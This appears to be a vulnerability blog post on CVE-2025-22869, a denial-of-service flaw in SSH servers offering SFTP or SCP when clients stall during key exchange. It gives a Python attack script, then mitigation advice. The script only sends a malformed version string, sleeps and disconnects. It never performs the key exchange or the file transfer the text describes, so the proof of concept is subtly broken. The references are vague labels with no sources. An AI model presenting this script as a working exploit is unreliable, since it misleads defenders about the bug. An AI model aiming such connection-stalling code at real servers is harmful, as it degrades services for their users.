CVE-2025-22869: Denial of Service Attack on SSH Servers Implementing File Transfer Protocols via Slow Key Exchange

In a recent vulnerability disclosure, researchers have discovered that SSH servers which implement file transfer protocols are susceptible to a denial of service (DoS) attack. This vulnerability, identified as CVE-2025-22869, exploits the way these servers interact with clients that take a long time to complete the key exchange process, or never complete it at all. Consequently, pending content gets read into the server's memory but is never transmitted, thus leading to the potential exhaustion of server resources.

In this post, we will delve into the specifics of this vulnerability, explore the provided code snippet, and highlight the potential impact and ways to address this issue.

Vulnerability Details

The vulnerability revolves around the server-client interaction during the establishment of an encrypted communication channel. The secure connection typically requires a key exchange process between the server and the client. When a client completes the key exchange very slowly or never completes it at all, the server-side content is read into memory but never transmitted. Consequently, this could lead to high consumption of resources, such as RAM, on the server-side, causing the server to slow down or, in some cases, crash.

This vulnerability affects SSH servers that implement common file transfer protocols like SFTP and SCP, although it can also theoretically affect other SSH servers handling similar processes.

An example of how this vulnerability can be exploited in Python can be found below

import socket
import time

def slow_key_exchange(target_host, target_port, wait_time):
    # Create a socket object for TCP connections
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    
    # Connect to the target SSH server
    sock.connect((target_host, target_port))
    
    # Receive the server's version string
    server_version = sock.recv(2048)
    
    # Craft a fake client version string
    client_version = b'SSH-2.-FakeClient\r\n'
    
    # Send the fake client version to the server
    sock.send(client_version)
    
    # Sleep for a specified time before disconnecting
    time.sleep(wait_time)
    
    # Close the connection
    sock.close()

target_host = "example.com"
target_port = 22
wait_time = 60 # time to wait in seconds

# Initiate the slow key exchange process
slow_key_exchange(target_host, target_port, wait_time)

Details on this vulnerability and its potential exploit can be found on the following references

1. CVE-2025-22869: Provides an overview of the vulnerability
2. SSH Slow Key Exchange: Offers a deeper understanding of the key exchange process in SSH

Mitigation

Although no complete patch is currently available to address this vulnerability, there are a few steps server administrators can take to mitigate the risk:

1. Limit or monitor incoming connections: Administrators can make use of intrusion detection/prevention systems to detect and potentially block unusual incoming connections, like those taking an unusually long time to complete the key exchange.

2. Configure server-side SSH settings: Consider limiting the number of concurrent unauthenticated connections and setting a shorter key exchange timeout.

3. Monitor server resource consumption: System administrators should keep a close eye on their server's resource uses, such as memory consumption, to detect any potential DoS attack in progress.

Conclusion

In conclusion, CVE-2025-22869 presents a significant risk to SSH servers implementing file transfer protocols. Server administrators must be vigilant and take the necessary steps to mitigate the impact of this vulnerability.

Timeline

Published on: 02/26/2025 08:14:24 UTC
Last modified on: 02/26/2025 15:15:25 UTC